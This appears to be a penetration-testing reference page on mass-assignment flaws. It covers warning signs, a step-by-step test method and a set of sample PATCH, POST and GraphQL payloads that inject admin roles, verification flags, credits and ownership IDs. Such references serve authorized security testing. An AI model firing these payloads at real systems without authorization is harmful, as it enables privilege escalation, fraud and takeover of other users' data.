mass-assignment

Mass Assignment

What Is Broken and Why

Frameworks that automatically bind request body parameters to model attributes (Rails, Laravel, Django, Mongoose, Sequelize) allow attackers to set fields that were never meant to be user-modifiable. A profile update endpoint intended to accept {name, email} will also accept {role: "admin", plan: "enterprise", ownerId: 999} if the server doesn't explicitly allowlist accepted fields.

Key Signals

• PUT/PATCH/POST endpoints that update model records
• JSON bodies passed to ORM update(), create(), save(), or assign() calls
• Registration or profile endpoints in Rails, Laravel, Django, Express apps
• API responses that reveal field names not expected in requests (leak model schema)
• GraphQL mutations with input types
• Endpoints where adding extra fields returns 200 (not 400 Bad Request)

Methodology

1. Identify PUT/PATCH endpoints for user profile, settings, or resource updates.
2. Intercept a normal request; examine which fields are accepted.
3. Inspect API responses and other endpoints to discover undocumented field names (role, admin, isAdmin, verified, plan, credits, ownerId, orgId).
4. Add extra fields to the request body — observe if they're accepted silently.
5. Attempt privilege escalation: inject "role": "admin" or "isAdmin": true.
6. Attempt horizontal access: inject "userId" or "ownerId" pointing to another user.
7. For registration endpoints: try setting "emailVerified": true, "credits": 9999.
8. Fuzz with common sensitive field names from framework conventions.

Payloads & Tools

// Profile update — attempt privilege escalation
PATCH /api/users/me
{"name": "test", "email": "[email protected]", "role": "admin", "isAdmin": true}

// Registration — attempt auto-verification and credit injection
POST /api/register
{"email": "[email protected]", "password": "pass", "emailVerified": true, "credits": 9999,
 "plan": "enterprise", "trialExpires": "2099-01-01"}

// Resource update — attempt ownership change (IDOR via mass assignment)
PATCH /api/posts/42
{"title": "new", "ownerId": 1, "userId": 1}

// Nested object injection (common in JSON APIs)
PUT /api/profile
{"name": "x", "address": {"city": "x"}, "billingPlan": {"tier": "enterprise"}}

// GraphQL mutation with extra input fields
mutation {
  updateUser(input: {name: "x", role: "admin", isAdmin: true}) { id role }
}